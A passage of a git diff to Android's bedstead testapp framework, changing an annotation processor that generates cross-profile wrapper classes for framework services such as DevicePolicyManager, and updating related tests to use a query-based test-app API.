                 processingEnv.getElementUtils().getTypeElement(
-                        NENE_ACTIVITY_CLASSNAME.canonicalName());
+                        REMOTE_ACTIVITY_CLASSNAME.canonicalName());
 
-        if (!roundEnv.getElementsAnnotatedWith(TestAppReceiver.class).isEmpty()
-                || !roundEnv.getElementsAnnotatedWith(TestAppSender.class).isEmpty()) {
+        Set<? extends Element> receiverAnnotatedElements =
+                roundEnv.getElementsAnnotatedWith(TestAppReceiver.class);
+
+        if (receiverAnnotatedElements.size() > 1) {
+            throw new IllegalStateException(
+                    "Cannot have more than one @TestAppReceiver annotation");
+        }
+
+        if (!receiverAnnotatedElements.isEmpty()) {
+            TestAppReceiver testAppReceiver = receiverAnnotatedElements.iterator().next()
+                    .getAnnotation(TestAppReceiver.class);
+
+            FrameworkClass[] frameworkClasses = testAppReceiver.frameworkClasses();
+
             generateTargetedRemoteActivityInterface(neneActivityInterface);
             generateTargetedRemoteActivityImpl(neneActivityInterface);
             generateTargetedRemoteActivityWrapper(neneActivityInterface);
-            generateProvider();
+            generateProvider(frameworkClasses);
             generateConfiguration();
 
+            generateDpmParentWrapper(processingEnv.getElementUtils());
+            for (FrameworkClass frameworkClass : frameworkClasses) {
+                generateRemoteFrameworkClassWrapper(
+                        extractClassFromAnnotation(processingEnv.getTypeUtils(),
+                                frameworkClass::frameworkClass));
+            }
         }
 
         if (!roundEnv.getElementsAnnotatedWith(TestAppSender.class).isEmpty()) {
-            generateRemoteActivityImpl(neneActivityInterface);
+            generateTestAppActivityImpl(neneActivityInterface);
         }
 
         return true;
     }
 
+    private void generateRemoteFrameworkClassWrapper(TypeElement systemServiceClass) {
+        ClassName originalClassName = ClassName.get(systemServiceClass);
+        ClassName interfaceClassName = ClassName.get(
+                originalClassName.packageName(),
+                "Remote" + originalClassName.simpleName());
+        ClassName wrapperClassName = ClassName.get(
+                originalClassName.packageName(),
+                interfaceClassName.simpleName() + "Wrapper");
+        ClassName profileClassName = ClassName.get(
+                originalClassName.packageName(),
+                "Profile" + interfaceClassName.simpleName());
+        TypeElement interfaceElement =
+                processingEnv.getElementUtils().getTypeElement(interfaceClassName.canonicalName());
+
+        TypeSpec.Builder classBuilder =
+                TypeSpec.classBuilder(
+                        wrapperClassName)
+                        .addSuperinterface(interfaceClassName)
+                        .addModifiers(Modifier.PUBLIC, Modifier.FINAL);
+
+        classBuilder.addField(
+                FieldSpec.builder(profileClassName,
+                        "mProfileClass")
+                        .addModifiers(Modifier.PRIVATE, Modifier.FINAL)
+                        .build());
+        classBuilder.addField(
+                FieldSpec.builder(CROSS_PROFILE_CONNECTOR_CLASSNAME, "mConnector")
+                        .addModifiers(Modifier.PRIVATE, Modifier.FINAL)
+                        .build());
+
+        classBuilder.addMethod(MethodSpec.constructorBuilder()
+                .addModifiers(Modifier.PUBLIC)
+                .addParameter(CROSS_PROFILE_CONNECTOR_CLASSNAME, "connector")
+                .addStatement("mConnector = connector")
+                .addStatement(
+                        "mProfileClass = $T.create(connector)",
+                        profileClassName)
+                .build());
+
+        for (ExecutableElement method : getMethods(
+                interfaceElement, processingEnv.getElementUtils())) {
+            MethodSpec.Builder methodBuilder =
+                    MethodSpec.methodBuilder(method.getSimpleName().toString())
+                            .returns(ClassName.get(method.getReturnType()))
+                            .addModifiers(Modifier.PUBLIC)
+                            .addAnnotation(Override.class);
+
+            for (TypeMirror m : method.getThrownTypes()) {
+                methodBuilder.addException(ClassName.get(m));
+            }
+
+            List<String> params = new ArrayList<>();
+
+            for (VariableElement param : method.getParameters()) {
+
+                ParameterSpec parameterSpec =
+                        ParameterSpec.builder(ClassName.get(param.asType()),
+                                param.getSimpleName().toString()).build();
+                methodBuilder.addParameter(parameterSpec);
+
+                if (param.asType().toString().equals("android.content.Context")) {
+                    // Context is auto-provided so not passed in
+                    continue;
+                }
+
+                params.add(param.getSimpleName().toString());
+            }
+
+
+            CodeBlock.Builder logicLambda = CodeBlock.builder()
+                    .add("() -> {\n").indent()
+                    .addStatement("mConnector.connect()");
+
+            if (method.getReturnType().toString().equals(
+                    "android.app.admin.RemoteDevicePolicyManager")
+                    && method.getSimpleName().contentEquals("getParentProfileInstance")) {
+                // Special case, we want to return a new parent wrapper, but still call through to
+                // the other side for exceptions, etc.
+                logicLambda.addStatement(
+                        "mProfileClass.other().$L($L)",
+                        method.getSimpleName(), String.join(", ", params));
+                logicLambda.addStatement("return new $T(mConnector, $L)",
+                        REMOTE_DEVICE_POLICY_MANAGER_PARENT_WRAPPER_CLASSNAME,
+                        String.join(", ", params));
+            } else if (method.getReturnType().toString().equals(
+                    "android.content.RemoteContentResolver")
+                    && method.getSimpleName().contentEquals("getContentResolver")) {
+                // Special case, we want to return a contnet resolver, but still call through to
+                // the other side for exceptions, etc.
+                logicLambda.addStatement(
+                        "mProfileClass.other().$L($L)",
+                        method.getSimpleName(), String.join(", ", params));
+                logicLambda.addStatement("return new $T(mConnector)",
+                        REMOTE_CONTENT_RESOLVER_WRAPPER_CLASSNAME);
+            } else if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
+                logicLambda.addStatement("mProfileClass.other().$L($L)", method.getSimpleName(),
+                        String.join(", ", params));
+            } else {
+                logicLambda.addStatement("return mProfileClass.other().$L($L)",
+                        method.getSimpleName(), String.join(", ", params));
+            }
+            logicLambda.unindent().add("}");
+
+            CodeBlock runLogic = CodeBlock.of(
+                    "$1T.logic($2L).terminalException(e -> e instanceof $3T).run()",
+                    RETRY_CLASSNAME,
+                    logicLambda.build().toString(), PROFILE_RUNTIME_EXCEPTION_CLASSNAME);
+
+            methodBuilder.beginControlFlow("try");
+
+            if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
+                methodBuilder.addStatement(runLogic);
+            } else {
+                methodBuilder.addStatement("return $L", runLogic);
+            }
+
+            methodBuilder.nextControlFlow(
+                    "catch ($T e)", PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
+                    .addStatement("throw ($T) e.getCause()", RuntimeException.class);
+
+            for (TypeMirror m : method.getThrownTypes()) {
+                methodBuilder.nextControlFlow("catch ($T e)", m)
+                        .addStatement("throw e");
+            }
+
+            methodBuilder
+                    .nextControlFlow("catch ($T e)", Throwable.class)
+                    .addStatement(
+                            "throw new $T($S, e)",
+                            NENE_EXCEPTION_CLASSNAME, "Error connecting to test app")
+                    .nextControlFlow("finally")
+                    .addStatement("mConnector.stopManualConnectionManagement()")
+                    .endControlFlow();
+
+            classBuilder.addMethod(methodBuilder.build());
+        }
+
+        writeClassToFile(originalClassName.packageName(), classBuilder.build());
+    }
+
+    private void generateDpmParentWrapper(Elements elements) {
+        ClassName interfaceClassName = ClassName.get(
+                "android.app.admin", "RemoteDevicePolicyManager");
+        ClassName profileClassName = ClassName.get(
+                "android.app.admin", "ProfileRemoteDevicePolicyManagerParent");
+        TypeElement interfaceElement = elements.getTypeElement(interfaceClassName.canonicalName());
+
+        TypeSpec.Builder classBuilder =
+                TypeSpec.classBuilder(
+                        REMOTE_DEVICE_POLICY_MANAGER_PARENT_WRAPPER_CLASSNAME)
+                        .addSuperinterface(interfaceClassName)
+                        .addModifiers(Modifier.PUBLIC, Modifier.FINAL);
+
+        classBuilder.addField(
+                FieldSpec.builder(profileClassName,
+                        "mProfileClass")
+                        .addModifiers(Modifier.PRIVATE, Modifier.FINAL)
+                        .build());
+        classBuilder.addField(
+                FieldSpec.builder(CROSS_PROFILE_CONNECTOR_CLASSNAME, "mConnector")
+                        .addModifiers(Modifier.PRIVATE, Modifier.FINAL)
+                        .build());
+        classBuilder.addField(
+                FieldSpec.builder(COMPONENT_NAME_CLASSNAME, "mProfileOwnerComponentName")
+                        .addModifiers(Modifier.PRIVATE, Modifier.FINAL)
+                        .build());
+
+        classBuilder.addMethod(MethodSpec.constructorBuilder()
+                .addModifiers(Modifier.PUBLIC)
+                .addParameter(CROSS_PROFILE_CONNECTOR_CLASSNAME, "connector")
+                .addParameter(COMPONENT_NAME_CLASSNAME, "profileOwnerComponentName")
+                .addStatement("mConnector = connector")
+                .addStatement("mProfileOwnerComponentName = profileOwnerComponentName")
+                .addStatement("mProfileClass = $T.create(connector)", profileClassName)
+                .build());
+
+        for (ExecutableElement method : getMethods(interfaceElement, elements)) {
+            MethodSpec.Builder methodBuilder =
+                    MethodSpec.methodBuilder(method.getSimpleName().toString())
+                            .returns(ClassName.get(method.getReturnType()))
+                            .addModifiers(Modifier.PUBLIC)
+                            .addAnnotation(Override.class);
+
+            for (TypeMirror m : method.getThrownTypes()) {
+                methodBuilder.addException(ClassName.get(m));
+            }
+
+            List<String> params = new ArrayList<>();
+
+            params.add("mProfileOwnerComponentName");
+
+            for (VariableElement param : method.getParameters()) {
+                ParameterSpec parameterSpec = ParameterSpec.builder(ClassName.get(param.asType()),
+                        param.getSimpleName().toString()).build();
+
+                params.add(param.getSimpleName().toString());
+
+                methodBuilder.addParameter(parameterSpec);
+            }
+
+            CodeBlock.Builder logicLambda = CodeBlock.builder()
+                    .add("() -> {\n").indent()
+                    .addStatement("mConnector.connect()");
+
+            if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
+                logicLambda.addStatement("mProfileClass.other().$L($L)", method.getSimpleName(),
+                        String.join(", ", params));
+            } else {
+                logicLambda.addStatement("return mProfileClass.other().$L($L)",
+                        method.getSimpleName(), String.join(", ", params));
+            }
+            logicLambda.unindent().add("}");
+
+            CodeBlock runLogic = CodeBlock.of(
+                    "$1T.logic($2L).terminalException(e -> e instanceof $3T).run()",
+                    RETRY_CLASSNAME,
+                    logicLambda.build().toString(), PROFILE_RUNTIME_EXCEPTION_CLASSNAME);
+
+            methodBuilder.beginControlFlow("try");
+
+            if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
+                methodBuilder.addStatement(runLogic);
+            } else {
+                methodBuilder.addStatement("return $L", runLogic);
+            }
+
+            for (TypeMirror m : method.getThrownTypes()) {
+                methodBuilder.nextControlFlow("catch ($T e)", m)
+                        .addStatement("throw e");
+            }
+
+            methodBuilder.nextControlFlow(
+                    "catch ($T e)", PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
+                    .addStatement("throw ($T) e.getCause()", RuntimeException.class)
+                    .nextControlFlow("catch ($T e)", Throwable.class)
+                    .addStatement(
+                            "throw new $T($S, e)",
+                            NENE_EXCEPTION_CLASSNAME, "Error connecting to test app")
+                    .nextControlFlow("finally")
+                    .addStatement("mConnector.stopManualConnectionManagement()")
+                    .endControlFlow();
+
+            classBuilder.addMethod(methodBuilder.build());
+        }
+
+        writeClassToFile("android.app.admin", classBuilder.build());
+    }
+
     private void generateTargetedRemoteActivityImpl(TypeElement neneActivityInterface) {
         TypeSpec.Builder classBuilder =
                 TypeSpec.classBuilder(
@@ -149,12 +473,16 @@
                         .addSuperinterface(TARGETED_REMOTE_ACTIVITY_CLASSNAME)
                         .addModifiers(Modifier.PUBLIC, Modifier.FINAL);
 
-        for (ExecutableElement method : getMethods(neneActivityInterface)) {
+        for (ExecutableElement method : getMethods(neneActivityInterface,
+                processingEnv.getElementUtils())) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
                             .returns(ClassName.get(method.getReturnType()))
                             .addModifiers(Modifier.PUBLIC)
-                            .addAnnotation(Override.class);
+                            .addAnnotation(Override.class)
+                            .addExceptions(
+                                    method.getThrownTypes().stream().map(TypeName::get).collect(
+                                            Collectors.toSet()));
 
             methodBuilder.addParameter(
                     ParameterSpec.builder(String.class, "activityClassName").build());
@@ -197,12 +525,12 @@
         classBuilder.addField(
                 FieldSpec.builder(PROFILE_TARGETED_REMOTE_ACTIVITY_CLASSNAME,
                         "mProfileTargetedRemoteActivity")
-                .addModifiers(Modifier.PRIVATE, Modifier.FINAL)
-                .build());
+                        .addModifiers(Modifier.PRIVATE, Modifier.FINAL)
+                        .build());
         classBuilder.addField(
                 FieldSpec.builder(CROSS_PROFILE_CONNECTOR_CLASSNAME, "mConnector")
-                .addModifiers(Modifier.PRIVATE, Modifier.FINAL)
-                .build());
+                        .addModifiers(Modifier.PRIVATE, Modifier.FINAL)
+                        .build());
 
         classBuilder.addMethod(MethodSpec.constructorBuilder()
                 .addParameter(CROSS_PROFILE_CONNECTOR_CLASSNAME, "connector")
@@ -212,13 +540,18 @@
                         PROFILE_TARGETED_REMOTE_ACTIVITY_CLASSNAME)
                 .build());
 
-        for (ExecutableElement method : getMethods(neneActivityInterface)) {
+        for (ExecutableElement method : getMethods(neneActivityInterface,
+                processingEnv.getElementUtils())) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
                             .returns(ClassName.get(method.getReturnType()))
                             .addModifiers(Modifier.PUBLIC)
                             .addAnnotation(Override.class);
 
+            for (TypeMirror m : method.getThrownTypes()) {
+                methodBuilder.addException(ClassName.get(m));
+            }
+
             methodBuilder.addParameter(
                     ParameterSpec.builder(String.class, "activityClassName").build());
 
@@ -234,26 +567,47 @@
                 methodBuilder.addParameter(parameterSpec);
             }
 
-            methodBuilder.beginControlFlow("try")
+            CodeBlock.Builder logicLambda = CodeBlock.builder()
+                    .add("() -> {\n").indent()
                     .addStatement("mConnector.connect()");
 
             if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
-                methodBuilder.addStatement(
-                        "mProfileTargetedRemoteActivity.other().$L($L)",
-                        method.getSimpleName(), params);
+                logicLambda.addStatement(
+                        "mProfileTargetedRemoteActivity.other().$L($L)", method.getSimpleName(),
+                        String.join(", ", params));
             } else {
-                methodBuilder.addStatement(
-                        "return mProfileTargetedRemoteActivity.other().$L($L)",
-                        method.getSimpleName(), params);
+                logicLambda.addStatement("return mProfileTargetedRemoteActivity.other().$L($L)",
+                        method.getSimpleName(), String.join(", ", params));
+            }
+            logicLambda.unindent().add("}");
+
+            CodeBlock runLogic = CodeBlock.of(
+                    "$1T.logic($2L).terminalException(e -> e instanceof $3T).run()",
+                    RETRY_CLASSNAME,
+                    logicLambda.build().toString(), PROFILE_RUNTIME_EXCEPTION_CLASSNAME);
+
+            methodBuilder.beginControlFlow("try");
+
+            if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
+                methodBuilder.addStatement(runLogic);
+            } else {
+                methodBuilder.addStatement("return $L", runLogic);
             }
 
             methodBuilder.nextControlFlow(
-                    "catch ($T e)", UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME)
+                    "catch ($T e)", PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
+                    .addStatement("throw ($T) e.getCause()", RuntimeException.class);
+
+            for (TypeMirror m : method.getThrownTypes()) {
+                methodBuilder.nextControlFlow("catch ($T e)", m)
+                        .addStatement("throw e");
+            }
+
+            methodBuilder
+                    .nextControlFlow("catch ($T e)", Throwable.class)
                     .addStatement(
                             "throw new $T($S, e)",
                             NENE_EXCEPTION_CLASSNAME, "Error connecting to test app")
-                    .nextControlFlow("catch ($T e)", PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
-                    .addStatement("throw ($T) e.getCause()", RuntimeException.class)
                     .nextControlFlow("finally")
                     .addStatement("mConnector.stopManualConnectionManagement()")
                     .endControlFlow();
@@ -264,7 +618,7 @@
         writeClassToFile(PACKAGE_NAME, classBuilder.build());
     }
 
-    private void generateRemoteActivityImpl(TypeElement neneActivityInterface) {
+    private void generateTestAppActivityImpl(TypeElement neneActivityInterface) {
         TypeSpec.Builder classBuilder =
                 TypeSpec.classBuilder(
                         TEST_APP_ACTIVITY_IMPL_CLASSNAME)
@@ -279,7 +633,7 @@
 
         classBuilder.addMethod(
                 MethodSpec.constructorBuilder()
-                        .addParameter(TEST_APP_INSTANCE_REFERENCE_CLASSNAME, "instance")
+                        .addParameter(TEST_APP_INSTANCE_CLASSNAME, "instance")
                         .addParameter(
                                 COMPONENT_REFERENCE_CLASSNAME, "component")
                         .addStatement("super(instance, component)")
@@ -289,12 +643,16 @@
                         .build());
 
 
-        for (ExecutableElement method : getMethods(neneActivityInterface)) {
+        for (ExecutableElement method : getMethods(neneActivityInterface,
+                processingEnv.getElementUtils())) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
                             .returns(ClassName.get(method.getReturnType()))
                             .addModifiers(Modifier.PUBLIC)
-                            .addAnnotation(Override.class);
+                            .addAnnotation(Override.class)
+                            .addExceptions(
+                                    method.getThrownTypes().stream().map(TypeName::get).collect(
+                                            Collectors.toSet()));
 
             String params = "mActivityClassName";
 
@@ -328,12 +686,16 @@
                         TARGETED_REMOTE_ACTIVITY_CLASSNAME)
                         .addModifiers(Modifier.PUBLIC);
 
-        for (ExecutableElement method : getMethods(neneActivityInterface)) {
+        for (ExecutableElement method : getMethods(neneActivityInterface,
+                processingEnv.getElementUtils())) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
                             .returns(ClassName.get(method.getReturnType()))
                             .addModifiers(Modifier.PUBLIC, Modifier.ABSTRACT)
-                            .addAnnotation(CrossProfile.class);
+                            .addAnnotation(CrossProfile.class)
+                            .addExceptions(
+                                    method.getThrownTypes().stream().map(TypeName::get).collect(
+                                            Collectors.toSet()));
 
             methodBuilder.addParameter(
                     ParameterSpec.builder(String.class, "activityClassName").build());
@@ -352,17 +714,17 @@
         writeClassToFile(PACKAGE_NAME, classBuilder.build());
     }
 
-    private void generateProvider() {
+    private void generateProvider(FrameworkClass[] frameworkClasses) {
         TypeSpec.Builder classBuilder =
                 TypeSpec.classBuilder(
                         "Provider")
                         .addModifiers(Modifier.PUBLIC, Modifier.FINAL);
 
         classBuilder.addMethod(MethodSpec.methodBuilder("provideTargetedRemoteActivity")
-                        .returns(TARGETED_REMOTE_ACTIVITY_CLASSNAME)
-                        .addModifiers(Modifier.PUBLIC)
-                        .addAnnotation(CrossProfileProvider.class)
-                        .addCode("return new $T();", TARGETED_REMOTE_ACTIVITY_IMPL_CLASSNAME)
+                .returns(TARGETED_REMOTE_ACTIVITY_CLASSNAME)
+                .addModifiers(Modifier.PUBLIC)
+                .addAnnotation(CrossProfileProvider.class)
+                .addCode("return new $T();", TARGETED_REMOTE_ACTIVITY_IMPL_CLASSNAME)
                 .build());
 
         classBuilder.addMethod(MethodSpec.methodBuilder("provideTestAppController")
@@ -372,6 +734,36 @@
                 .addCode("return new $T();", TEST_APP_CONTROLLER_CLASSNAME)
                 .build());
 
+        classBuilder.addMethod(MethodSpec.methodBuilder(
+                "provideRemoteDevicePolicyManagerParent")
+                .returns(REMOTE_DEVICE_POLICY_MANAGER_PARENT_CLASSNAME)
+                .addModifiers(Modifier.PUBLIC)
+                .addAnnotation(CrossProfileProvider.class)
+                .addParameter(CONTEXT_CLASSNAME, "context")
+                .addCode("return new $T(context.getSystemService($T.class));",
+                        REMOTE_DEVICE_POLICY_MANAGER_PARENT_CLASSNAME,
+                        DEVICE_POLICY_MANAGER_CLASSNAME)
+                .build());
+
+        for (FrameworkClass frameworkClass : frameworkClasses) {
+            ClassName originalClassName = ClassName.get(extractClassFromAnnotation(
+                    processingEnv.getTypeUtils(), frameworkClass::frameworkClass));
+            ClassName interfaceClassName = ClassName.get(
+                    originalClassName.packageName(), "Remote" + originalClassName.simpleName());
+            ClassName implClassName = ClassName.get(
+                    originalClassName.packageName(), interfaceClassName.simpleName() + "Impl");
+
+            classBuilder.addMethod(
+                    MethodSpec.methodBuilder("provide" + interfaceClassName.simpleName())
+                            .returns(interfaceClassName)
+                            .addModifiers(Modifier.PUBLIC)
+                            .addAnnotation(CrossProfileProvider.class)
+                            .addParameter(CONTEXT_CLASSNAME, "context")
+                            .addCode("return new $T($L);",
+                                    implClassName, frameworkClass.constructor())
+                            .build());
+        }
+
         writeClassToFile(PACKAGE_NAME, classBuilder.build());
     }
 
@@ -403,10 +795,31 @@
         }
     }
 
-    private Set<ExecutableElement> getMethods(TypeElement interfaceClass) {
-        return interfaceClass.getEnclosedElements().stream()
+    private Set<ExecutableElement> getMethods(TypeElement interfaceClass, Elements elements) {
+        Map<String, ExecutableElement> methods = new HashMap<>();
+        getMethods(methods, interfaceClass, elements);
+        return new HashSet<>(methods.values());
+    }
+
+    private void getMethods(Map<String, ExecutableElement> methods, TypeElement interfaceClass,
+            Elements elements) {
+        interfaceClass.getEnclosedElements().stream()
                 .filter(e -> e instanceof ExecutableElement)
                 .map(e -> (ExecutableElement) e)
-                .collect(Collectors.toSet());
+                .filter(e -> !methods.containsKey(e.getSimpleName().toString()))
+                .filter(e -> e.getModifiers().contains(Modifier.PUBLIC))
+                .forEach(e -> {
+                    methods.put(methodHash(e), e);
+                });
+
+        interfaceClass.getInterfaces().stream()
+                .map(m -> elements.getTypeElement(m.toString()))
+                .forEach(m -> getMethods(methods, m, elements));
+    }
+
+    private String methodHash(ExecutableElement method) {
+        return method.getSimpleName() + "(" + method.getParameters().stream()
+                .map(p -> p.asType().toString()).collect(
+                Collectors.joining(",")) + ")";
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/FrameworkClass.java
similarity index 79%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
copy to common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/FrameworkClass.java
index 936827b..c1332a0 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/FrameworkClass.java
@@ -14,10 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package com.android.bedstead.testapp.processor.annotations;
 
-/** Details about a queryable test app. */
-class TestAppDetails {
-    String mPackageName;
-    int mResourceIdentifier;
+public @interface FrameworkClass {
+    Class<?> frameworkClass();
+    String constructor();
 }
diff --git a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java
index ad35792..f456c0b 100644
--- a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java
@@ -17,4 +17,5 @@
 package com.android.bedstead.testapp.processor.annotations;
 
 public @interface TestAppReceiver {
+    FrameworkClass[] frameworkClasses();
 }
diff --git a/common/device-side/bedstead/testapp/src/test/AndroidManifest.xml b/common/device-side/bedstead/testapp/src/test/AndroidManifest.xml
index c3725ba..9920d90 100644
--- a/common/device-side/bedstead/testapp/src/test/AndroidManifest.xml
+++ b/common/device-side/bedstead/testapp/src/test/AndroidManifest.xml
@@ -33,7 +33,7 @@
             </intent-filter>
         </receiver>
     </application>
-    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.bedstead.testapp.test"
                      android:label="TestApp Tests" />
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
index bcc74dc..b185295 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.testapp;
 
+import static com.android.queryable.queries.ActivityQuery.activity;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.testng.Assert.assertThrows;
@@ -37,29 +39,34 @@
 
     @ClassRule @Rule
     public static final DeviceState sDeviceState = new DeviceState();
-    private static final TestApis sTestApis = new TestApis();
-    private static final UserReference sUser = sTestApis.users().instrumented();
-
-    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
-    private static final TestApp sTestApp = sTestAppProvider.any(); // TODO(scottjonathan): specify must have activity
-    private static TestAppInstanceReference mTestAppInstance;
+    private static final UserReference sUser = TestApis.users().instrumented();
 
     private static final String EXISTING_ACTIVITY = "android.testapp.activity";
     private static final String NON_EXISTING_ACTIVITY = "non.existing.activity";
 
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp = sTestAppProvider.query()
+            .whereActivities().contains(
+                    activity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
+            ).whereActivities().doesNotContain(
+                    activity().activityClass().className().isEqualTo(NON_EXISTING_ACTIVITY)
+            )
+            .get();
+    private static TestAppInstance sTestAppInstance;
+
     @Before
     public void setup() {
-        mTestAppInstance = sTestApp.install(sUser);
+        sTestAppInstance = sTestApp.install(sUser);
     }
 
     @After
     public void teardown() {
-        mTestAppInstance.uninstall();
+        sTestAppInstance.uninstall();
     }
 
     @Test
     public void query_matchesActivity_returnsActivity() {
-        TestAppActivityReference activity = mTestAppInstance.activities().query()
+        TestAppActivityReference activity = sTestAppInstance.activities().query()
                     .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
                     .get();
 
@@ -68,12 +75,12 @@
 
     @Test
     public void query_matchesPreviouslyReturnedActivity_throwsException() {
-        mTestAppInstance.activities().query()
+        sTestAppInstance.activities().query()
                 .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
                 .get();
 
         assertThrows(IllegalStateException.class, () ->
-                mTestAppInstance.activities().query()
+                sTestAppInstance.activities().query()
                         .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
                         .get());
     }
@@ -81,7 +88,7 @@
     @Test
     public void query_doesNotMatchActivity_throwsException() {
         assertThrows(IllegalStateException.class, () ->
-                mTestAppInstance.activities().query()
+                sTestAppInstance.activities().query()
                         .whereActivity().activityClass().className()
                             .isEqualTo(NON_EXISTING_ACTIVITY)
                         .get());
@@ -89,18 +96,18 @@
 
     @Test
     public void any_returnsActivity() {
-        TestAppActivityReference activity = mTestAppInstance.activities().any();
+        TestAppActivityReference activity = sTestAppInstance.activities().any();
 
         assertThat(activity).isNotNull();
     }
 
     @Test
     public void query_matchesActivityPreviouslyReturnedByDifferentInstance_returnsActivity() {
-        mTestAppInstance.activities().query()
+        sTestAppInstance.activities().query()
                 .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
                 .get();
 
-        TestAppInstanceReference testAppInstance2 = sTestApp.instance(sUser);
+        TestAppInstance testAppInstance2 = sTestApp.instance(sUser);
 
         assertThat(
                 testAppInstance2.activities().query()
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
index f3a44d4..4a524f3 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
@@ -21,8 +21,8 @@
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerProfileWithNoDeviceOwner;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnSecondaryUser;
-import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerProfile;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.activities.Activity;
 import com.android.bedstead.nene.users.UserReference;
@@ -36,8 +36,7 @@
 @RunWith(BedsteadJUnit4.class)
 public class TestAppActivityReferenceTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final UserReference sUser = TestApis.users().instrumented();
 
     @ClassRule @Rule
     public static final DeviceState sDeviceState = new DeviceState();
@@ -52,21 +51,21 @@
     @Test
     @IncludeRunOnPrimaryUser
     @IncludeRunOnSecondaryUser
-    @IncludeRunOnProfileOwnerProfile
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
     public void start_activityIsStarted() {
-        TestApp testApp = mTestAppProvider.any(); // TODO(scottjonathan): specify must have activity
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
+        try (TestAppInstance testAppInstance = testApp.install(sUser)) {
             Activity<TestAppActivity> activity = testAppInstance.activities().any().start();
 
-            assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+            assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
                     activity.activity().component());
         }
     }
 
     @Test
     public void remote_executes() {
-        TestApp testApp = mTestAppProvider.any(); // TODO(scottjonathan): specify must have activity
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
+        try (TestAppInstance testAppInstance = testApp.install(sUser)) {
             Activity<TestAppActivity> activity = testAppInstance.activities().any().start();
 
             assertThat(activity.activity().isFinishing()).isFalse();
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
index 74743d8..bbfc2f4 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
